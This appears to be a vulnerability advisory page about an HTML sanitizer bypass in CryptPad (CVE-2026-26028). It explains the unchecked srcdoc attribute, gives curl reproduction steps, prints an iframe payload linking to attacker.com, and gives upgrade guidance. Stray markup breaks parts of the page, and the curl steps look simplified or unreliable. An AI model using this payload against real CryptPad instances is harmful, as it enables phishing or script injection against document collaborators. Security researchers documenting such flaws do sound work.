CryptPad, HTML Sanitizer Bypass, CVE-2026-26028 (Medium)

The vulnerability (CVE-2026-26028) is a logic flaw in CryptPad’s HTML sanitizer within Diffmarked.js. The root cause is that the sanitizer treats the `` tag as “restricted” instead of “forbidden”. Its enforcement logic then validates only the `src` attribute of restricted tags, leaving all other attributes, such as <code>srcdoc</code>, completely unchecked. By injecting an `<iframe>` with a benign `blob:` source but a malicious `srcdoc` attribute, an attacker can bypass the intended bounce sandboxing and arbitrary sanitization filters. This allows the injection of any HTML content, including links to external attacker-controlled websites, directly into a victim’s collaborative document. Although CryptPad employs a strict Content Security Policy (CSP), the platform also contains several same-origin gadgets (e.g., <code>jscolor.js</code>) that dynamically evaluate user input, which can be leveraged to escalate this HTML injection into a full Cross-Site Scripting (XSS) condition. Consequently, an attacker could steal session tokens, modify content, or perform other malicious actions within the context of the victim’s session.</p> <h2 style="color: blue;">DailyCVE Form</h2> <p>Platform: `CryptPad`<br /> Version: `< 2026.2.0` Vulnerability: `Sanitizer Bypass` Severity: `Medium (CVSS 6.1)` date: `2026-05-20` <h2 style="color: blue;">Prediction: `Patch within 90d`</h2> <h2 style="color: blue;">What Undercode Say</h2> <pre data-enlighter-language="bash" class="EnlighterJSRAW"> Reproduce the sanitizer bypass in a vulnerable CryptPad instance 1. Start a vulnerable CryptPad instance (e.g., using Docker) cd cryptpad/ git checkout 0dd3c1f53d56dffb06651b86ead6b9b387920173 npm install && npm run build:dev node server.js 2. Create a new collaborative document and inject the malicious HTML curl -X POST "http://localhost:3000/pad/new" -d 'content= <iframe src=blob: srcdoc="<a href=https://attacker.com target=_blank>CLICK ME</a>"></iframe> ' 3. Verify the sanitizer bypass by checking the document content curl -s "http://localhost:3000/pad/token" | grep -i "CLICK ME" </pre> <h2 style="color: blue;">Exploit</h2> <p>An attacker with the ability to edit a document (or trick a user into pasting) can inject the following payload into the document:<br /> `<iframe src=blob: srcdoc="<a href=https://attacker.com target=_blank>CLICK ME</a>“>`
This bypasses the sanitizer and renders a clickable link to `attacker.com` inside the victim’s trusted CryptPad context.

Protection from this CVE

Upgrade to CryptPad version 2026.2.0 or later. This release incorporates a fix that properly validates all attributes of restricted HTML tags, including srcdoc.

Impact

Confidentiality: An attacker may gain access to sensitive document contents.
Integrity: An attacker could modify document data or inject unauthorized content.
Availability: Potential for user confusion or disruption of document functionality.

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Sources:

Reported By: github.com
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